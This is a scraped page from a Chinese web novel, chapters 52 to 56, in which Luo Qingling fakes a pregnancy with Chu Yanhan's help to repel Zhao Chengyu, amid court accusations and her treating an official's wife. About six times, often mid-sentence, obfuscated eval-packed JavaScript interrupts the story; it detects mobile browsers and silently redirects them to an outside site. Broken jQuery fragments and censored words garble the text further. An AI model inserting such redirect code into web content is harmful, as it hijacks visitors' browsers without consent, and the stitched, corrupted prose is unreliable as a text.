0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742993|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他又陪了一小会儿，站起身：“乔某还有要事在身，今日就先失陪了，改日乔某做东，必请二位前来一赴。” 说罢，拱了手，率先走了。 没一会儿，墨白来回：“主子，人已经离开了。” 楚砚寒给洛清泠续了杯茶，道：“这乔大人最是清正廉洁的，无论做官还是做人，今日在这里听了闲言碎语，以他那嫉恶如仇的性子，既然会写好证词，给陛下复命。” “为了这一日的巧合，倒是辛苦你了。”洛清泠笑起来。 要确定宋绾绾和赵承宇的动向，又要把控着这“告状”之人的品性时间，还要将这两拨人毫无痕迹地凑在一起。 仅仅两日，楚砚寒就安排完毕。 洛清泠心中赞叹楚砚寒办事完美，又温声道谢。 果然，次日楚砚寒打着哈欠上朝，众朝臣议论完当下时政，皇帝准备退潮之时，乔明朗就站了出来。 “陛下！臣有事奏！” 皇帝看着乔明朗，手指点了点：“准奏。” “启禀陛下，臣昨日回京，在京郊一小馆内歇脚，却不想遇见了三个人在隔壁吃茶，口中议论着今日京中甚嚣尘上的流言。” 最近京中只有一件事闹得沸沸扬扬，那就是洛清泠到底怀孕没怀孕。 皇帝一听这话直觉不好，张了张嘴想要将乔明朗堵回去，对方却先一步开了口：“微臣在他们隔壁坐着，将他们所说之话一字不落全听在了口中，原来京中最近的传闻，就是他们放出来的。” 皇帝动作一顿：“什么意思？” “这三人，一个不信流言，一个主导了流言的传播，还有一个散播了谣言，他们，便是此次谣言的祸首！” “既然如此，那你可是将那三人拘拿下来，严加审问？” 乔明朗往地上一跪，道：“微臣不敢！” “你是朕的大理寺卿，你要拿个祸首，还有什么不敢的！”皇帝竖起眉头呵斥了一声。 乔明朗：“只因那三人，一人是宁王之女，一人是尚书之女，还有一人是赵世子，微臣没有手谕，不敢妄动！” 第五十二章 ** 此话一出，满朝哗然！ 宁王涨红了脸，指着乔明朗，嘴唇翕动。 “你、你！荒唐！荒唐！你这是信口开河！污蔑皇亲贵族，朝廷命官，乔大人，你好大的胆子！” “陛下，微臣所言句句属实！郡主所为，足见宁王家风家教！” “陛下，前段时间，这郡主就已经闹得是满城风雨，如今更是做出此等祸事来，不能姑息啊！” 御史台大夫也站了出来，对皇帝拱了拱身。 “上次尚在紫宸殿众，郡主就和赵世子一唱一和，形容甚密，做出冤枉楚少夫人的事来，臣当以为，此次乔大人所言有理有据。” 不少人都开口为乔明朗说话，皇帝脸色沉沉，看着气急败坏的宁王。 “宁王，你还有什么话要说。” 宁王眼角直跳，嘴角抽搐，无法辩解。 楚砚寒站在角落里，将这一切看在眼里，视线在乔明朗身上定了定。 昨日在春日小馆众，除了乔大人，还有他和洛清泠，只要让他们两人出面作证，宁王就无话可说。 可乔明朗却对他们两人闭口不言，是害怕给洛清泠带来麻烦吧。 最后这件事喧闹了大半个时辰，皇帝才头疼地喊了一声退朝：“宁王，你留下！” 皇帝和宁王说了什么不为人知，只知道宁王最后气冲冲回了王府，把门一关，老远都能听到宁王府的鸡飞狗跳。 “看你做的好事！” “连累本王今日在朝堂之上，成为所有人的笑柄！” 宋绾绾哪里想到自己和赵承宇的谈话被人听见了，那人还是大理寺卿！ 怎么可能那么巧合！ “肯定是洛清泠！”宋绾绾哭道：“这一切都是洛清泠算计我的！父王，洛清泠是真的有了身孕，我不过是将这件事散播出去，让她再也没有脸待在王府罢了，难道我也有错吗？” 宁王长叹一口气，坐了下来：“别以为我不知道你的心思，你不就是想要嫁给楚砚寒吗？” 宋绾绾脸上一红，抿着唇没说话。 “你就这么喜欢楚砚寒？非那个纨绔不可？” 宁王实在是不能理解。 楚砚寒除了一张脸可看，还有什么优点？一个游手好闲的纨绔，世子之位都还是因为他哥哥**才落到他头上的！ “父王……我喜欢了他这么久，我从小就爱他……” 宋绾绾泪眼婆娑地看着宁王。 对楚砚寒的爱慕，已经成为了她的一块心病，无论是楚砚寒的人，还是楚砚寒的心，二者之中，她必须要得到一个！ 另一边，楚砚寒才回到王府，后脚就紧跟着有宫中的公公前来传信，说皇帝召唤女主进宫。 楚砚寒心中微叹。 洛清泠怀孕一事已经闹了许久，反转又反转，只怕皇帝已经开始怀疑洛清泠到底是不是怀了身孕了。 若是被发现洛清泠是假怀孕，一顶欺君之罪的帽子扣下来，只怕是…… “放心。”洛清泠低声说了一句，从楚砚寒身后走出来，对那公公道：“劳烦公公稍等，我换身衣服就来。” 楚砚寒一听到洛清泠的话，心中就松了大半。 他将公公请入厅上，自己则是趁机找到洛清泠。 “清冷，你打算怎么办？” “我这儿有一颗药丸，吃下之后可以混乱脉象，造成怀孕的假象来，辅佐我的针法，糊弄太医是没问题的。” 楚砚寒的眉心还是没松：“可这样，岂不是坐实了你……怀孕之事？之后你的名声……” “无妨，这样的丑事，陛下总不会自己宣扬出去的。” 洛清泠笑得轻松，楚砚寒心中却一沉再沉。 他不愿意洛清泠这样往自己身上泼脏水，她明明……那么好。 “而且这样，还能让赵承宇再也不要求娶我，和这样的好处比起来，名声又算什么呢？” 只是难为要让平西王府也跟着蒙羞了。 楚砚寒看不得洛清泠落寞的神情，情急道：“既然如此，那我随你一起进宫！” “不可，”洛清泠拒绝了：“你现在还对我横眉冷对呢，那就能陪我进宫了，要是被皇上看出什么，岂不是功亏一篑？” 楚砚寒知道洛清泠说得在理，可他就是担心洛清泠，最后只能闷闷道：“且等我一等，我找个武功高强的婢女，随你进宫。” 洛清泠知道楚砚寒的担心，没再拒绝。 等了不到一刻钟，墨白就带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742994|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一年纪不大，看着却格外沉稳的侍女回来了。 “奴婢青霜，见过少夫人。” “你和青云一样，唤我小姐，就当是我从家带来的陪嫁丫头。” “是，小姐！” 洛清泠点点头，带着青霜去回了公公，一同入宫去了。 却在宫门口被人拦了下来。 青霜掀起帘子一角，道：“小姐，是赵世子。” 洛清泠猜他应该是因为昨日的事情，来探虚实来了，连忙招呼公公停车，自己下了马车来。 赵承宇脸色还有些不自然，打量着洛清泠，尤其是在她肚子上停留了许久。 洛清泠迎上去：“赵世子。” 赵承宇面色一僵，强迫自己不要退开。 若是没有这出事，以洛清泠这样的美貌娘子投怀送抱，他怎么可能避开？ 说到底，都是这洛清泠自己不守妇道惹出来的祸！ “嗯，”赵承宇高深莫测一点头：“少夫人这是要进宫？” “是，陛下传——呕！” 洛清泠拿帕子捂住口，轻轻干呕了一下，歉意地看着赵承宇：“抱歉世子，是我失仪了，早膳吃得过于油腻了些——呕！” 青霜连忙上前拍了拍洛清泠的背，又塞了一块梅子进洛清泠口中。 洛清泠的面色肉眼可见地缓和了不少。 赵承宇退了一步，接着又退了一步。 别以为他不懂！ 这什么吃油腻了！ 这分明就是怀了孩子的反应！ 他心中悚然，生怕和洛清泠扯上干系，站在远处干笑道：“既是陛下传唤，少夫人就快去吧，别让陛下久等……” “不急的，难得遇见世子，不如我们说说话，我现在已经好多了。” 洛清泠下意识摸了摸肚子，又在看见赵承宇的视线之后，缓缓收回了手：“世子——” “不了！”赵承宇提高了点声音：“我也还有要事在身，就不和少夫人多说了，告辞！” 说完，一溜烟钻进了皇宫里，活像是身后有鬼再追。 他走远了，回头在看，却看见洛清泠还站在原地，似乎还在看着他的方向，顿时吓了个踉跄，连走带跑地离开了。 第五十三章 对天赌咒 洛清泠随着公公进宫，却并没有去御书房。 她看着自己走过的路，脚步微顿：“还请公公留步，这条路，似乎是去凤仪宫的。” “是，陛下吩咐，让楚少夫人先去娘娘宫中等候。” 公公笑着道：“楚少夫人，请。” 洛清泠只能先去了凤仪宫，皇后见到洛清泠愣了一下：“清泠？” “臣妇见过娘娘，给娘娘请安。” “还请楚少夫人暂且在娘娘宫中稍等，陛下一会儿就来。” 公公说着，退出去复命去了。 皇后屏退旁人，看着洛清泠，面露难色：“只怕这一次，陛下是让本宫先验验你怀孕之事的真假了。” “胡太医是本宫的人，本宫立刻就差人去叫他来。” “不必如此。” 洛清泠坦然道：“娘娘只管叫那些对陛下忠心的太医来就是。” 皇后一怔：“清泠，你这是……” 清泠不是这么莽撞冒失之人，今日朝堂上发生的事情她也有所耳闻，不信清冷会毫无准备被请进皇宫。 “好，张太医是太医院出了名的口风严谨，只是为人古板，有什么就说什么，是个中立的老太医了，你若是不怕，本宫就着人将他请来。” “多谢娘娘。” 皇后点了点头，点了个丫头去太医院请张太医。 另一边，赵承宇则是去了紫寰殿。 赵承宇本是进宫来请示能否亲自送越过的使团离开一事，没想到却被皇帝莫名其妙拉着下了一局棋。 他摸不着头脑，晕晕乎乎下了两局棋之后，还是起身告辞了。 从皇帝宫中出来，赵承宇本想直接出宫，不想路过花园时候正好看见皇后宫里的青松公公带着一提着药箱的老者快步走过。 他心中一跳，立刻认出那应该是宫中的太医。 他思索一番，悄无声息地跟了上去，果然，最后那太医被引着进了凤仪宫。 赵承宇眼皮一阵狂跳，只觉得自己距离真相只有一步之遥。 凤仪宫也不知怎么回事，应该有宫女太监把守才对，但此时宫门打开，却没有一个人。 ……被支开了，因为太医接下来要诊断的内容不能被人随意听见。 赵承宇心跳都快乐起来，蹑手蹑脚地走了进去，靠近了门边。 只能里头安安静静，好一会儿，便是一老者的声音响起—— “从脉象来看，已有两月身孕无疑，只是最近忧思过虑，胎相隐有不稳的象征，老臣开两幅安胎药吃下就好。” “——只是，这个孩子，到底要不要留下，还请娘娘和楚少夫人好好决断。” 犹如五雷轰顶砸在头上！ 洛清泠真的怀孕了！ 这些皇家之人，有一个算一个，全都知道！ 但是他们现在为了遮掩下这桩丑事，所以决定隐瞒下来，并且把洛清泠塞给自己！ 赵承宇一时怒急攻心，浑身颤抖，一把撞在了门上，发出“咚”的一声响。 “谁？谁在门外！” 下一瞬，赵承宇还来不及躲避，大门就被人拉了开来。 屋中的情景瞬间映入眼帘，那太医诊脉的悬丝还挂在洛清泠的手腕上，刚才那句有身孕的消息说的是谁，不言而喻！ 洛清泠迅速一收手，问道：“青霜，谁来了？” “是赵世子。” 洛清泠抬步出来，面色略微有些惊惶：“赵世子，你怎么会在这里？来了多久了？” 看她视线一直往自己身后扫视，赵承宇心中冷笑不已。 这是担心自己有没有听到什么不该听的消息吧！ 难怪不许人在宫中守着，也是怕被人听见什么消息呢！ 还好他进来了！ 还好他听见了！ 但赵承宇此时不敢透露什么，只能道：“我来给皇后娘娘请安，见宫中无人把守，便私自进来查看，惊扰了娘娘。” “一群懒坏了皮子的丫鬟，越发无法无天了！” 皇后愤愤道：“青松！” 青松公公领命出去罚人去了，皇后缓了缓面色，招呼道：“既然来了，还在外头站着做什么，赵世子进来坐坐。” 赵承宇：…… “不、不了……我，我还有点事儿……” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745801|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨不得打自己两嘴巴子，说什么不要非说要来请安！ 洛清泠紧张地看着他：“不知道赵世子来的时候，有没有听见什么……” “没有啊！”赵承宇连连摇头：“怎么了？刚才是发生什么事情了吗？” 他话音刚落，就看见洛清泠长舒了口气，也对他笑起来：“世子还不快进来，还要娘娘亲自来请么？” 赵承宇硬着头皮进了宫中落座，洛清泠亲手捧了茶来，赵承宇连看也不敢看。 “还不快接着，赵世子这是高兴傻了不是？”皇后调侃道：“之前听说你追着清泠跑，话里话外一直表达心意求婚的，清泠一直拒绝，你也没有放弃，如今好容易打动了清冷，你怎么反倒是害羞起来了？” 赵承宇猛地站起来：“不！请皇后娘娘明鉴！我、臣之前被楚少夫人的面容蛊惑，的确做出过一些……身不由己的事情来！” “但现在臣已经想清楚了！真的！楚少夫人既然已经嫁为人妇，臣自然应该和楚少夫人保持距离！” “至于之前那些狂放之言，还请娘娘就当是臣放了个屁，忘了吧！” 洛清泠瞪大了眼睛：“你、你——你怎么能这样说！” “这些才是我的真心话！”赵承宇心中早已骂翻了天了，却还要一本正经地说着：“楚少夫人，我和你从前没可能，将来也没可能！女子名节何其重要，还请楚少夫人不要为了赵某做出一些无法挽回的事情！” “可是你之前说得那样情真意切，你也当是——”洛清泠哽咽地看着她，眼中满是失落之色。 皇后沉着脸道：“赵世子，你知不知道，凭你刚才那番话，本宫就能给你定个调戏宗妇的罪名！” “哪怕如此，臣也只能认了！”赵承宇一咬牙，举起三根手指来：“微臣愿再次对天起誓，日后若是再敢肖想楚少夫人，就不得好死！” “够了！你给本宫滚出去！” 皇后发怒，赵承宇灰溜溜走了。 张太医看了个全程，也感尴尬尬地告辞了去。 等凤仪宫没了别人，洛清泠才擦了擦眼角的泪珠，坐在了椅子上：“哎，这当戏子也不容易啊。” 第五十四章 救命之恩 “你啊，”皇后摇摇头，“现在事情已经解决了，本宫就看你最后怎么收场。” 她面上闪过一丝隐隐的担忧。 没有那个王公贵族愿意要一个名节有损的媳妇，何况是平西王府那样的家底。 哪怕对方现在不介意，难保日后流言难听，生了介意的种子，不知道什么时候就生根发芽了。 “多谢娘娘陪臣女演了这一处戏来。”洛清泠对皇后道谢：“如今事情解决，臣妇也就不再叨扰娘娘了。” “罢了，你去吧。” 洛清泠从凤仪宫出来，刚到门口，青霜忽然对洛清泠使了个眼色。 洛清泠顺着看去，却是一顶清油小轿，不起眼地停在一旁。 “是世子。”青霜低声道。 洛清泠挑眉，仍然上了自己的马车，离开了宫门口，在一处小巷，那清油小轿果然跟了过来。 她换过去，掀开帘子，就看见楚砚寒坐在里面。 楚砚寒伸出手，洛清泠将手搭上去，借了个力，一把也上了轿。 “怎么样？”楚砚寒迫不及待地问道：“我看见赵承宇气冲冲出来，可是计划成功了？” 洛清泠抿嘴点点头：“不止呢，还对皇后起了毒誓，说若是再觊觎我，就不得好死呢！” “好，好。” 楚砚寒松了口气，面上也带了些喜意来：“那是该好好庆祝庆祝。” 说着，楚砚寒递来一个幕篱和披风。 洛清泠一看就笑了：“世子这是早就准备好了吧？” 楚砚寒勾了勾唇角，没有说话。 两人稍作伪装，去了天香楼，楚砚寒早让人在雅间订了位置。 “等此事了解，我再请清泠吃顿好的。” 楚砚寒视线专注，洛清泠不由得避了避：“我不重这些口腹之欲，这一顿就已经很好了。” “用菜吧。”楚砚寒也没有追问。 两人安安静静用饭，洛清泠却觉得气氛有些尴尬难受。 或许，自己一开始，就不应该答应来用这顿饭。 但想到有人为自己的一些小成功，就要庆祝，又忍不住有些心软，正心思飘忽不定之际，忽然听楼下一阵喧闹争吵之声。 她探头看了一眼，却见是一披麻戴孝的姑娘，正被人狠狠踹翻在地，手和脸都破了。 在她身后，一卷草席，裹着斑驳的男人尸身。 “看样子，是**葬父。”楚砚寒不知道什么时候凑了过来，解释了一句。 男人的气息铺面而来，洛清泠不自在地抿了抿唇，往胖阿斌让了让，点点头：“应当是了。” 那踹人的也是个富家公子，满身费油，手中拿着把折扇：“小美人，你还有什么身可卖啊？你嫂子已经将你卖给本少爷当地二十八房小妾了！还不乖乖跟我回去，好好伺候爷！” 说着，就指挥身后的大手要上来抢人。 孝服女子瞪着那公子道：“我没收你的钱！” “反正这钱呐，是你家收了，你现在就得跟我走！” “放开我！” 那女子面色**，被抓到了那少爷面前，少爷油腻的手指在她脸上摸过，露出一副恶心的笑容来：“小美人……” 洛清泠不认识那公子，但这样横行霸道的事情能在京城上演，这公子的身份不会太低。 正想着，却见那姑娘眼中闪过一抹狠色，张嘴就要对那少爷咬去。 一抹银光闪了洛清泠的眼。 她定了定神，已经飞快出手，一根银针从指尖飞出，问问低扎在了那公子的手腕上！ “啊！谁敢伤我！” 洛清泠却已经收回了身子。 那少爷盯着自己手腕上的银针还在发疯，不一会儿一个丫鬟从天香楼走下来，来到公子身边：“姑娘，你十两银子**葬父，这是五十两，我家主子买了。” “你等等！嘿！你是哪里来的小丫头片子，敢跟少爷我抢人！活得不耐烦了！” 青霜淡淡地看着那少爷，腰间令牌一闪，只见四个大大的平西王府字样，少爷顿时就呆住了，不敢吭声了，脸色变化精彩。 “姑娘。” 青霜来到那姑娘面前，温声道：“我家主子就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745802|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼上，你可随我上去一见。” 见她犹豫，青霜低声补充了一句：“不论你愿意不愿意，这五十两银子，都是你的，你爹，我们自有人先照看着。” 那姑娘一咬牙，随青霜上了楼。 进了雅间，只见一男一女两人在桌边吃饭，女子带了幕篱，看不清模样。 青霜站在了洛清泠身后：“这是我家小姐。” “奴鱼若，感谢贵人出手相救！” 那姑娘噗通一声跪在地上，对洛清泠磕头。 “你是真心感谢我救你，还是怨恨我阻拦了你？” 洛清泠淡淡瞥着她。 这鱼若姑娘看着年纪不大，身形清瘦，一副没吃饱饭的模样，穿着的孝服也是最简单的。 鱼若身形一晃：“奴不知贵人再说什么。” “你口中藏了银针，针上有毒，寻常吃进肚子里不过是闹肚子罢了，却见血封喉，你看我说得可对？” 鱼若猛地抬起头来：“贵人既然知道！为何要救那登徒子！” “我不是救他，我是救你。” 洛清泠也是在发现这姑娘的性子时，才决定出手的。 她叹道：“你若是杀了他，你又如何活得下去？” “那我就随我爹一道**，黄泉路上也有个伴！” 洛清泠见她目光清澈坚毅，恍惚了一瞬：“你**，你的仇就不报了么？你父亲尸身斑驳，生有重病，我却没在他身上闻见什么药味，他可是活活病死的？” 鱼若紧紧咬着腮帮子，“父亲的确是……都是那两个畜生！不给父亲看病吃药……” “是你兄嫂不是？” 鱼若戚戚地看着洛清泠：“姑娘既然已经猜到了，有话不妨直说，何必一直戳奴的心窝子？” “傻孩子，只有活着才有希望，你父亲去了，你却不能随去，害死你父亲的，你便轻飘飘忘了？” 鱼若神情一散，眼角划过泪下来。 她恭恭敬敬对洛清泠磕了头：“奴谢贵人指点，救命之恩不敢忘，只希望贵人能给奴一点时间，好安葬了父亲。” 第五十五章 出手解围 洛清泠又额外拿出一百两银子，交给了鱼若。 “你还有时间，可以好好考虑，就算你安葬了你父亲不打算来找我，我也不会找你要这些银子。” 洛清泠让青霜将银子交给鱼若，淡淡道：“若是考虑好投奔我，便来平西王府找我。” 鱼若千恩万谢离开后，楚砚寒才皱眉道：“清泠，这外面的人不知底细，就这么放在身边，难保会有不干净的人混进来。” “这不是还有世子么？”洛清泠对他一笑：“就拜托世子帮我查查这鱼若的底细了。” “咳，小事一桩，交给我就是。” 楚砚寒喝了口茶掩饰自己的不自在，忽然想起什么，道：“清泠说，赵承宇在娘娘面前起了毒誓？” “是，怎么了？”洛清泠不解地看着他，将赵承宇的话又说了一遍：“世子这是还不放心？” “是，”楚砚寒向着赵承宇的为人，无奈道：“那人惯来是个没脸没皮的东西，只是在皇后面前起了毒誓罢了，将来等你假怀孕一事一澄清，只怕又会打蛇上棍，缠上来。” 洛清泠沉默了下来。 楚砚寒说得不错，赵承宇的人品根本信不过，他的毒誓也就更没有什么威慑力了。 她想了想，道：“若是单在娘娘面前起了毒誓还不够，那我就让他在宫宴上再说一次！到时候几百双眼睛盯着，消息传出，他日后再想要反悔，就算陛下答应，群臣也不会答应。” 没有理由将国家颜面丢在区区一个赵承宇脚下翻来覆去踩的道理。 “七日后，帝王诞辰，倒是个不错的机会。”楚砚寒思索一番，定下了日期。 在这样的华诞上说出这样的话，想来皇帝日后也不会给赵承宇一个好脸色看了。 因着帝王诞辰，洛清泠朴素的衣柜实在是凑不出一套合适的，青云便拉着洛清泠上街购置首饰头面。 主仆二人行事低调，虽被店铺老板认出，洛清泠也命对方不要声张，只当普通客人看待罢了，因此倒是没引起什么轰动来。 “小姐虽是孀妇，但三年孝期已过，好歹也可以好好打扮一下了。” 青云看着洛清泠姣好的面容，气愤道：“最好把那个天天挑衅的人给比下去！” “好了，气性怎么还这么大？” 洛清泠点了点青云的额头，跨出首饰铺的店门：“今日已经买了许多了，有你发挥的时候。” 青云哼哼两声，正预说话，余光却瞥见一人从街上冲了过来，一边大声喊：“洛清泠！” 洛清泠这名字在京城可算是个烫嘴的字，瞬间就有不少人看了过来。 路过的一辆马车里，乔明朗眉梢微动，呵令道：“停车。” “夫君？”乔夫人诧异道：“怎么了？” “娘子，你可还记得我跟你提过的楚少夫人？” 乔夫人神色微动，点了点头：“是那个又稳重又清醒的姑娘？” “我似乎听见有人喊她名字，语气不善，夫人稍等，我下去看看。” “夫君！”乔夫人喊住道：“我与你一起下去。” 两人一道下了马车，果然就看见洛清泠站在一店铺门前，被一姑娘拦住了去路。 “似乎是何家的小姐？” 乔夫人认出那人，就发现自家夫君脸色沉了下来。 “洛清泠！”何琳琅怨憎地瞪着洛清泠：“你肚子里分明就有野种，为何不敢认！” 上次乔明朗**宋绾绾，**宁王，也一并**了她父亲，何尚书一回来大发雷霆，将何琳琅禁了足。 直到今日才被放出来。 一上街就看见了洛清泠和人说说笑笑走出来，当即气得头脑发昏，便不管不顾冲了过来。 洛清泠皱了皱眉：“何小姐，我和你虽有小摩擦，但到底没有什么深仇大恨，你为何要如此毁我名声！” “哈？我毁你名声？” 何琳琅夸张一笑，指着她道：“你敢不敢现场让大夫把脉！” “连陛下都说是不轨之徒的谣言，何小姐，你的意思是说，陛下说的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745803|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假话了？” 何琳琅支支吾吾，最后一咬牙道：“肯定是你这不守妇道的**设法蒙骗了陛下！你——” “无凭无据，便血口喷人，何小姐，乔某所见，尚书大人似乎更需要纠正家风。” 乔明朗搀着夫人从人群之中走出来，冰冷冷地看着何琳琅。 “你是谁！”何琳琅被看得下意识后退了一步，“本小姐劝你少管闲事！还是说，你也和洛清泠有一腿，才这么帮着她说话？” 乔明朗瞬间脸色铁青：“荒唐！” 洛清泠也没有想到乔明朗会替自己解围，上次楚砚寒也说过朝堂之上的事情，她心中本就对乔明朗颇有好感，现在见对方因为自己被随意污蔑，忍不住皱了皱眉。 “何小姐，当街侮辱朝廷命官，是要被下大狱的。” 她上前两步，歉意道：“抱歉乔大人，都是因为我。” “与你无关，”乔明朗摆手道：“尚书家的小姐好大的威风，随意污蔑他人，擅传谣言不加悔改，如今还要来逼迫受害者，呵。” 何琳琅在洛清泠说话时已经明白了眼前之人是谁，立刻浑身颤抖起来，根本不敢想自己到底惹了什么祸，顿时两眼一红，哭着跑了。 乔夫人拍了拍乔明朗的手，示意他送来，自己则是走到了洛清泠面前：“别怕，明朗不是那等糊涂之人，你也是受害者。” 乔夫人年纪不大，眉宇温和，气质温婉，让人见之便新生好感。 奈何眉心中似乎萦绕着一层抑郁之气。 洛清泠沉默了一瞬，靠近过来，低声道：“乔夫人和乔大人为妇解难，妇无以为报，但略懂几分药理，若是夫人不介意，妇可为夫人看看身子。” 乔夫人讶异地看了她一眼，抿嘴笑道：“少夫人好意妾身心领了，只是我这病也不是一天两天的事儿了，家中也请了大夫日常调理着，没什么大事。” 她说着拒绝，打算和乔明朗离开，洛清泠却忽然拉住了她的手，压低了声音道：“夫人可是有月信不调之症？” 第五十六章 我们也可以 乔夫人震惊地看着洛清泠，眼眸都瞪圆了。 “你——” “夫人？” 乔明朗走了过来。 洛清泠松开手，拉开和乔家夫妇的距离。 “怎么了？”乔明朗一看乔夫人震惊的面容，眉心皱起：“可是身体哪里不舒服？” 乔夫人连忙摇摇头，抓住了乔明朗的手：“夫君，楚少夫人说谢谢你帮她解围，想给我看病。” 乔明朗下意识想要拒绝。 他没有听说过洛清泠会医术的事情。 想来应该只是看过些许药理的书籍罢了。 他夫人的病——罢了，洛清泠也是一片好心。 乔明朗正准备拒绝，乔夫人抓着他的胳膊晃了晃：“夫君，我们请少夫人进府好不好？” “夫人，我也只是正好遇见了，顺手帮了楚少夫人一把，不是什么大恩，不必要回报。” “不是的，夫君，”乔夫人脸色微微一红：“我觉得这位姑娘也许真的能帮我！” 见乔明朗似乎还是不打算相信，乔夫人一着急，撇开了他，郑重地看着洛清泠：“若是少夫人不嫌弃寒舍粗陋，还请过府一叙。” 乔明朗张了张嘴，但自家夫人的邀请已经发出，他也不好下了她的面子，只得也对洛清泠道：“若是少夫人有空，乔某立刻着人备车。” “不必，你自己叫车回去，楚少夫人和我一个车。”乔夫人拉着洛清泠，就上了马车。 洛清泠也没想到看起来温婉的乔夫人却是这样说干就干的风风火火性子，连忙对两认道：“如此，妇叨扰了！” 马车扬长而去，被迫留在原地的乔明朗：…… “爷？”小厮搓了搓手，问道：“可要奴才去叫车？” “不必，”乔明朗捏了捏眉心：“你去平西王府一趟，将今日事情告知给楚世子。” “是。” 另一边，洛清泠进入乔府，就被乔夫人拽到了房间之中，面色惊奇地问道：“少夫人是怎么看出来的？” “夫人不必客气，唤我清泠就是。” “好，那你也不必叫我夫人，只叫我月娘。” 月娘说着，偏了偏头：“难道清泠还会相数不成？” “哪里有这么神奇？”洛清泠笑笑：“月娘面色不均，日头底下却指尖发凉，我看过月娘的手掌，气血瘀滞，青白带黄，想来是有些女子毛病所在。” “你倒是观察得仔细。”月娘夸了一句，又叹息道：“我的确一直以来月信都不准，每每还伴随着剧烈的疼痛和腰酸等症。” 她脸庞微微发红，羞怯地看着洛清泠：“这些年一直没有子嗣，却又羞于对大夫启齿……” 乔明朗倒是一直有在想办法找女大夫，只是女子学医者不多，乔明朗又是个清正廉洁的官员，家中积蓄不丰，也没有特别过硬的人脉，倒是一直耽搁着。 “月娘应是有些宫寒之症，”洛清泠探手给月娘把脉，面色微微有些凝重，半晌，她收回手来：“无妨，若是月娘信得过我，我便写一个方子，月娘只管叫丫鬟去抓来煎着吃了，会有改善。” 月娘喜道：“清泠三言两语就将我的症状说出来了，我自然信得过。” 洛清泠便写了方子给月娘，月娘看也不看，便交给了小丫头叫去抓药。 如此这般信任的模样，可见是真真的性情中人。 洛清泠便又说了日常饮食忌口等事，月娘也一一记下，直到乔明朗回来，让丫鬟来请，她才不好意思地拍了拍脑袋：“看我，只顾着我自己的身体，却忘了好好招待清泠。” 洛清泠只是笑着，和月娘一并到了厅上去。 吃茶时，月娘便低声和乔明朗说了什么，乔明朗时不时就看过来。 看着两人紧紧握着的手，洛清泠才想起来自己忘了一件非常重要的事情。 她放下茶杯，低咳一声，对月娘道：“还有一事，我想嘱咐月娘。” 月娘见洛清泠的模样，似乎是打算偷偷说，就要过来听，却被乔明朗拉住了手。 “我夫妻二人之间没有秘密，楚少夫人不妨，直说就可。” 洛清泠：…… 她见厅上并无丫鬟伺候，也没有外人，便正色道：“不是什么大事，只是月娘身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15753918|172728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底调理好之前，不准同房。” 月娘闹了个大红脸，连连点头：“好，好。” “我不同意。”乔明朗沉着脸：“既然楚少夫人说我今日在街上是帮了你，你是为报恩才要给我夫人看病，为何现在又如此害我？甚至不惜胡说？” 